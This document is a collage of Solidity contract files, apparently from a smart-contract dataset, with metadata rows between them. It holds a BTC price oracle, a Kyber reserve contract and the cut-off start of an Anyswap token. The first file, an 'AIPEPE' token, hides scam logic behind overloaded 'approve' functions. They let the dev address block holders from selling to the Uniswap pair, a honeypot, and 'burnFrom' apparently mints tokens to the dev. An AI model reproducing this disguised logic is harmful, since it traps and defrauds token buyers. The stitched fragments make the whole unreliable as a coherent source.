function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AIPEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 31,254 | 13,567 |
6248bb425c0ab575e77bc5f883f13b9befeb82b6f4d0481c69bf1f41b1d316ac
| 21,261 |
.sol
|
Solidity
| false |
397942245
|
unicorn-talent/GUS-Contract
|
5b381a70a01706969d9ab013f61ce96f5959d3da
|
MarketOracleBTC.sol
| 5,201 | 17,596 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.17 <0.8.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
_owner = msg.sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// computes square roots using the babylonian mBnbod
// https://en.wikipedia.org/wiki/MBnbods_of_computing_square_roots#Babylonian_mBnbod
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// library with helper mBnbods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
contract MarketOracleBTC is Ownable {
using FixedPoint for *;
uint private btcbBnbPrice0CumulativeLast;
uint private btcbBnbPrice1CumulativeLast;
uint32 private btcbBnbBlockTimestampLast;
uint private wbnbBusdPrice0CumulativeLast;
uint private wbnbBusdPrice1CumulativeLast;
uint32 private wbnbBusdBlockTimestampLast;
address private constant _btcb = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
address private constant _wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant _busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
IUniswapV2Pair private _btcb_bnb;
IUniswapV2Pair private _wbnb_busd;
address public controller;
modifier onlyControllerOrOwner {
require(msg.sender == controller || msg.sender == owner());
_;
}
constructor(address __btcb_bnb, // Address of the BTCB-BNB pair on Pancakeswap
address __wbnb_busd // Address of the WBNB-BUSD on Pancakeswapx) public {
controller = msg.sender;
_btcb_bnb = IUniswapV2Pair(__btcb_bnb);
_wbnb_busd = IUniswapV2Pair(__wbnb_busd);
uint112 _dummy1;
uint112 _dummy2;
btcbBnbPrice0CumulativeLast = _btcb_bnb.price0CumulativeLast();
btcbBnbPrice1CumulativeLast = _btcb_bnb.price1CumulativeLast();
(_dummy1, _dummy2, btcbBnbBlockTimestampLast) = _btcb_bnb.getReserves();
wbnbBusdPrice0CumulativeLast = _wbnb_busd.price0CumulativeLast();
wbnbBusdPrice1CumulativeLast = _wbnb_busd.price1CumulativeLast();
(_dummy1, _dummy2, wbnbBusdBlockTimestampLast) = _wbnb_busd.getReserves();
}
// Get the average price of 1 BTCB in the smallest BNB unit (18 decimals)
function getBtcbBnbRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_btcb_bnb));
FixedPoint.uq112x112 memory btcbBnbAverage = FixedPoint.uq112x112(uint224(1e12 * (price0Cumulative - btcbBnbPrice0CumulativeLast) / (_blockTimestamp - btcbBnbBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, btcbBnbAverage.mul(1).decode144());
}
// Get the average price of 1 USD in the smallest BNB unit (18 decimals)
function getBusdBnbRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_wbnb_busd));
FixedPoint.uq112x112 memory busdBnbAverage = FixedPoint.uq112x112(uint224(1e12*(price1Cumulative - wbnbBusdPrice1CumulativeLast) / (_blockTimestamp - wbnbBusdBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, busdBnbAverage.mul(1).decode144());
}
// Update "last" state variables to current values
function update() external onlyControllerOrOwner {
uint btcbBnbAverage;
uint busdBnbAverage;
(btcbBnbPrice0CumulativeLast, btcbBnbPrice1CumulativeLast, btcbBnbBlockTimestampLast, btcbBnbAverage) = getBtcbBnbRate();
(wbnbBusdPrice0CumulativeLast, wbnbBusdPrice1CumulativeLast, wbnbBusdBlockTimestampLast, busdBnbAverage) = getBusdBnbRate();
}
// Return the average price since last update
function getData() external view returns (uint256) {
uint _price0CumulativeLast;
uint _price1CumulativeLast;
uint32 _blockTimestampLast;
uint btcbBnbAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, btcbBnbAverage) = getBtcbBnbRate();
uint busdBnbAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, busdBnbAverage) = getBusdBnbRate();
uint answer = (btcbBnbAverage)*1e6 / busdBnbAverage;
return (answer);
}
function setController(address controller_)
external
onlyOwner
{
controller = controller_;
}
}
| 22,711 | 13,568 |
ad357ccc25c1b07fa0ec66192f9188b49daaef97c7865938a170a4610ceef9c3
| 14,768 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xfe6c34461db80c78305d5f2b8a15d0adde64fd3a.sol
| 3,344 | 14,173 |
pragma solidity 0.4.18;
interface ConversionRatesInterface {
function recordImbalance(ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock)
public;
function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
interface KyberReserveInterface {
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
interface SanityRatesInterface {
function getSanityRate(ERC20 src, ERC20 dest) public view returns(uint);
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract KyberReserve is KyberReserveInterface, Withdrawable, Utils {
address public kyberNetwork;
bool public tradeEnabled;
ConversionRatesInterface public conversionRatesContract;
SanityRatesInterface public sanityRatesContract;
mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool
function KyberReserve(address _kyberNetwork, ConversionRatesInterface _ratesContract, address _admin) public {
require(_admin != address(0));
require(_ratesContract != address(0));
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
conversionRatesContract = _ratesContract;
admin = _admin;
tradeEnabled = true;
}
event DepositToken(ERC20 token, uint amount);
function() public payable {
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
}
event TradeExecute(address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress);
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event WithdrawAddressApproved(ERC20 token, address addr, bool approve);
function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin {
approvedWithdrawAddresses[keccak256(token, addr)] = approve;
WithdrawAddressApproved(token, addr, approve);
setDecimals(token);
}
event WithdrawFunds(ERC20 token, uint amount, address destination);
function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) {
require(approvedWithdrawAddresses[keccak256(token, destination)]);
if (token == ETH_TOKEN_ADDRESS) {
destination.transfer(amount);
} else {
require(token.transfer(destination, amount));
}
WithdrawFunds(token, amount, destination);
return true;
}
event SetContractAddresses(address network, address rate, address sanity);
function setContracts(address _kyberNetwork, ConversionRatesInterface _conversionRates, SanityRatesInterface _sanityRates)
public
onlyAdmin
{
require(_kyberNetwork != address(0));
require(_conversionRates != address(0));
kyberNetwork = _kyberNetwork;
conversionRatesContract = _conversionRates;
sanityRatesContract = _sanityRates;
SetContractAddresses(kyberNetwork, conversionRatesContract, sanityRatesContract);
}
////////////////////////////////////////////////////////////////////////////
/// status functions ///////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
function getBalance(ERC20 token) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return this.balance;
else
return token.balanceOf(this);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function getSrcQty(ERC20 src, ERC20 dest, uint dstQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcSrcQty(dstQty, srcDecimals, dstDecimals, rate);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
ERC20 token;
bool buy;
if (!tradeEnabled) return 0;
if (ETH_TOKEN_ADDRESS == src) {
buy = true;
token = dest;
} else if (ETH_TOKEN_ADDRESS == dest) {
buy = false;
token = src;
} else {
return 0; // pair is not listed
}
uint rate = conversionRatesContract.getRate(token, blockNumber, buy, srcQty);
uint destQty = getDestQty(src, dest, srcQty, rate);
if (getBalance(dest) < destQty) return 0;
if (sanityRatesContract != address(0)) {
uint sanityRate = sanityRatesContract.getSanityRate(src, dest);
if (rate > sanityRate) return 0;
}
return rate;
}
/// @dev do a trade
/// @param srcToken Src token
/// @param srcAmount Amount of src token
/// @param destToken Destination token
/// @param destAddress Destination address to send tokens to
/// @param validate If true, additional validations are applicable
/// @return true iff trade is successful
function doTrade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
internal
returns(bool)
{
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
// sanity check
require(destAmount > 0);
// add to imbalance
ERC20 token;
int buy;
if (srcToken == ETH_TOKEN_ADDRESS) {
buy = int(destAmount);
token = destToken;
} else {
buy = -1 * int(srcAmount);
token = srcToken;
}
conversionRatesContract.recordImbalance(token,
buy,
0,
block.number);
// collect src tokens
if (srcToken != ETH_TOKEN_ADDRESS) {
require(srcToken.transferFrom(msg.sender, this, srcAmount));
}
// send dest tokens
if (destToken == ETH_TOKEN_ADDRESS) {
destAddress.transfer(destAmount);
} else {
require(destToken.transfer(destAddress, destAmount));
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress);
return true;
}
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
| 219,736 | 13,569 |
11a1a7000c7b67c2a7b23b2870ac2402ce4fd91f34e3a27aa86d9c4837ae7a8f
| 23,868 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/87/874b80b99C05D9b98fe75355f71949d0229dC109_AnyswapV6ERC20.sol
| 5,089 | 19,482 |
// Sources flattened with hardhat v2.9.9 https://hardhat.org
// File contracts/anycall/AnyswapV6ERC20.sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
